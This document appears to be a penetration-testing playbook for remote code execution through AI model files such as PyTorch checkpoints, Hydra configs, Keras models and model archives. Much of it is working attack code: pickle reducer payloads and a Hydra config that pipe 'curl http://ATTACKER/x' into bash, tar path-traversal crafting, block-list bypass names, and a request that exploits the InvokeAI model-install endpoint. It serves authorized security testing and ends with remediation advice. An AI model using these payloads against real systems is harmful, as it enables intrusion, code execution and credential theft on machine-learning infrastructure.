Exploiting AI Model File RCE

Exploiting AI Model File RCE

When to Use

• During authorized assessments of ML training/inference pipelines, model registries, artifact buckets, or model hubs
• When a service downloads, loads, or "installs" models from user-controlled URLs or untrusted repositories
• When auto-resume/auto-deploy pipelines load checkpoints (.ckpt, .pt, .pth, .bin) without provenance checks
• When assessing web UIs like InvokeAI, TorchServe, Triton, or NeMo/HuggingFace coders that accept model files
• When reviewing whether "safe" formats (.safetensors, .nemo, repo config.json) still expose instantiation gadgets

Prerequisites

• Authorization: Written penetration testing agreement covering the ML systems and any callback infrastructure
• Python 3 with torch, joblib, numpy, tensorflow/keras to craft and load test artifacts in a sandbox
• fickling, modelscan, picklescan: static analyzers to inspect pickle opcodes before/after crafting payloads
• A controlled callback host: HTTP listener / OOB server (e.g. interactsh) for blind execution confirmation
• Isolated VM/container: NEVER load untrusted models on your own host — payloads run during load

Critical: Techniques Most Often Missed (test these for EVERY model artifact)

Scanners that only diff weights miss code execution that fires during load, before any inference runs. For every model file or model-loading endpoint, work the full matrix below.

# 1. Python pickle reducer (THE #1 vector). Any pickle-backed format runs
#    __reduce__ on load: .pkl, .pt, .pth, .ckpt, .bin, joblib, numpy .npy/.npz.
#    torch.load WITHOUT weights_only=True deserializes pickle → code exec.
class Payload:
    def __reduce__(self):
        import os
        return (os.system, ("curl http://ATTACKER/x|bash",))

# 2. Hydra _target_ instantiation — NO pickle needed. Triggers on "safe"
#    formats (.safetensors __metadata__, .nemo model_config.yaml, config.json)
#    when libs feed untrusted metadata to hydra.utils.instantiate().
#      _target_: builtins.exec
#      _args_: ["import os; os.system('id')"]
#    Block-list bypass: enum.bltns.eval, nemo.core.classes.common.os.system

# 3. Keras/TensorFlow Lambda layer — arbitrary Python in legacy .h5/HDF5 and
#    .keras (safe_mode does NOT cover the old H5 format → "downgrade attack").
#    Also CVE-2021-37678: yaml.unsafe_load when loading model from YAML.

# 4. Archive path traversal — most formats are .zip/.tar under the hood.
#    Craft member name "../../tmp/hacked" or a SYMTYPE symlink to write/read
#    arbitrary files on load (ONNX external-weights, model tars).

# 5. GGUF / GGML parser memory corruption (CVE-2024-25664..25668): malformed
#    .gguf triggers heap overflow in the parser.

# 6. Service-level loaders: torch.load on user URL (InvokeAI CVE-2024-12029),
#    TorchServe management API (ShellTorch), Triton --model-control path
#    traversal, numpy np.load default allow_pickle.

How to CONFIRM a hit (avoid destructive payloads)

Use a benign, observable side effect — not a destructive command — to confirm execution:

• File-drop marker: os.system("id > /tmp/pwned_$(hostname)") then read /tmp/pwned_*.
• OOB callback: curl http://OOB-ID.oob.example/ or DNS lookup; a hit proves blind execution.
• Static pre-check: fickling --check-safety model.pt or modelscan -p model.pt should flag the reducer/GLOBAL+REDUCE opcodes before you ever load it.
• For Hydra: a process spawn at from_pretrained/restore_from time, before weights load.
• Treat ANY child process, outbound connection, or unexpected file at load time as a confirmed hit.

Workflow

Step 1: Identify the Loader and Format

Determine exactly how the target ingests models and which API does the deserialization.

# Map model file extensions present in registry/bucket/repo
# .pt .pth .ckpt .bin .pkl  -> pickle-backed (torch.load / joblib / pickle)
# .h5 .hdf5 .keras          -> Keras (Lambda layer / yaml)
# .safetensors .nemo        -> "safe" weights BUT check for Hydra _target_ metadata
# .onnx                     -> archive/external-weights traversal
# .gguf .ggml               -> parser memory corruption
# .npy .npz                 -> numpy allow_pickle

# Inspect a sample pickle artifact statically BEFORE loading
fickling --check-safety suspicious.pt
modelscan -p suspicious.pt
picklescan -p suspicious.pkl

Step 2: Craft a PyTorch / pickle Reducer Payload

The reducer returns a callable + args executed during unpickling.

# payload_gen.py  (run only in an isolated lab)
import torch, os

class Evil:
    def __reduce__(self):  # benign confirmation marker, not destructive
        return (os.system, ("id > /tmp/pwned; curl http://OOB-ID.oob.example/",))

# place under a key deserialized early so it fires before weights are used
torch.save({"model_state_dict": Evil(), "trainer_state": {"epoch": 10}}, "malicious.ckpt")

Victim-side this fires even with an error: torch.load("malicious.ckpt", weights_only=False). A raw .pkl works the same with pickle.dump(Evil(), f).

Step 3: Craft a Hydra _target_ Payload for "Safe" Formats

When the loader passes model metadata/config to hydra.utils.instantiate(), no pickle is required.

# goes in .nemo model_config.yaml, repo config.json, or .safetensors __metadata__
_target_: builtins.exec
_args_:
  - "import os; os.system('curl http://ATTACKER/x|bash')"

If a string block-list is present, bypass via alternative import paths (enum.bltns.eval) or application-resolved names (nemo.core.classes.common.os.system).

Step 4: Craft Archive Traversal / Keras Lambda Variants

# Archive path traversal: write outside the extract dir on load
import tarfile
def escape(member):
    member.name = "../../tmp/hacked"
    return member
with tarfile.open("traversal_demo.model", "w:gz") as tf:
    tf.add("harmless.txt", filter=escape)

# Symlink variant (member.type = SYMTYPE, linkname = /tmp) rides a planted file
# Keras Lambda layer: a model containing a Lambda(lambda x: __import__('os').system('id'))
#   runs on load; legacy .h5 bypasses safe_mode entirely (downgrade attack).

Step 5: Exploit a Model-Loading Service (InvokeAI CVE-2024-12029)

When a service downloads+loads models from a URL, host the payload and trigger the endpoint.

import requests
# 1) host payload.ckpt (a pickle reducer) on http://ATTACKER/payload.ckpt
# 2) trigger the unauthenticated install endpoint (scan defaults to false in 5.3.1-5.4.2)
requests.post(
    "http://TARGET:9090/api/v2/models/install",
    params={"source": "http://ATTACKER/payload.ckpt", "inplace": "true"},
    json={}, timeout=5,
)
# torch.load() runs the os.system gadget -> RCE as the InvokeAI process
# Metasploit: exploit/linux/http/invokeai_rce_cve_2024_12029

For Transformers4Rec/Merlin (CVE-2025-23298) and FaceDetection-DSFD, the same reducer is delivered via a trojanized checkpoint or pushed as a serialized blob to a deserializing endpoint.

Step 6: Confirm and Assess Blast Radius

# confirm out-of-band: inspect OOB server for the callback; on a lab target verify the
# /tmp/pwned marker and running user (often root in containers).
# record: runs as root/privileged container? network egress + ~/.aws/~/.ssh/registry creds?
#         loader in an auto-resume/auto-deploy pipeline (wormable)?

Key Concepts

Tools & Systems

Common Scenarios

Scenario 1: Trojanized Checkpoint in a Model Hub

A .ckpt shared on an internal hub embeds a __reduce__ gadget. An auto-resume training job calls torch.load(..., weights_only=False) and executes the payload as root in the training container.

Scenario 2: InvokeAI URL Install RCE

InvokeAI 5.3.1–5.4.2 exposes /api/v2/models/install with scan=false default. Pointing source at an attacker-hosted .ckpt triggers torch.load pickle deserialization and unauthenticated RCE.

Scenario 3: "Safe" Format Still Pops a Shell

A .safetensors model ships an __metadata__ block with _target_: builtins.exec. The loader feeds metadata to hydra.utils.instantiate() during from_pretrained, executing code before weights load.

Scenario 4: ONNX/Model Tar Path Traversal

A model tar contains a member named ../../home/user/.bashrc. Extraction during model load overwrites the file, achieving persistence/RCE on the next shell session.

Output Format

## AI Model File RCE Finding

**Vulnerability**: Remote Code Execution via Insecure Model Deserialization
**Severity**: Critical (CVSS 9.8)
**Component**: torch.load() in /api/v2/models/install (model loader service)
**CVE / Class**: CVE-2024-12029 / Insecure Deserialization (CWE-502)

### Reproduction Steps
1. Host payload.ckpt (pickle __reduce__ -> os.system) on attacker HTTP server
2. POST source=http://ATTACKER/payload.ckpt to /api/v2/models/install (no auth)
3. Service calls torch.load(); reducer executes; OOB callback received at OOB-ID.oob.example

### Evidence
| Item | Detail |
|------|--------|
| Trigger | torch.load(path) with weights_only unset |
| Confirmation | OOB HTTP callback + /tmp/pwned marker (uid=0 root) |
| Blast radius | Worker runs as root in container with AWS creds + egress |
| Static detector | fickling --check-safety flagged REDUCE -> os.system |

### Recommendation
1. Never deserialize untrusted models; prefer Safetensors/ONNX for weights
2. Use torch.load(weights_only=True) or an allow-listed unpickler
3. Enforce model provenance/signatures and malware-scan before load (scan=True)
4. Sandbox deserialization: non-root, seccomp/AppArmor, no network egress
5. Reject untrusted Hydra _target_ / Keras Lambda; validate config metadata
6. Patch loaders (InvokeAI >= 5.4.3, TorchServe, Triton, GGML) to fixed versions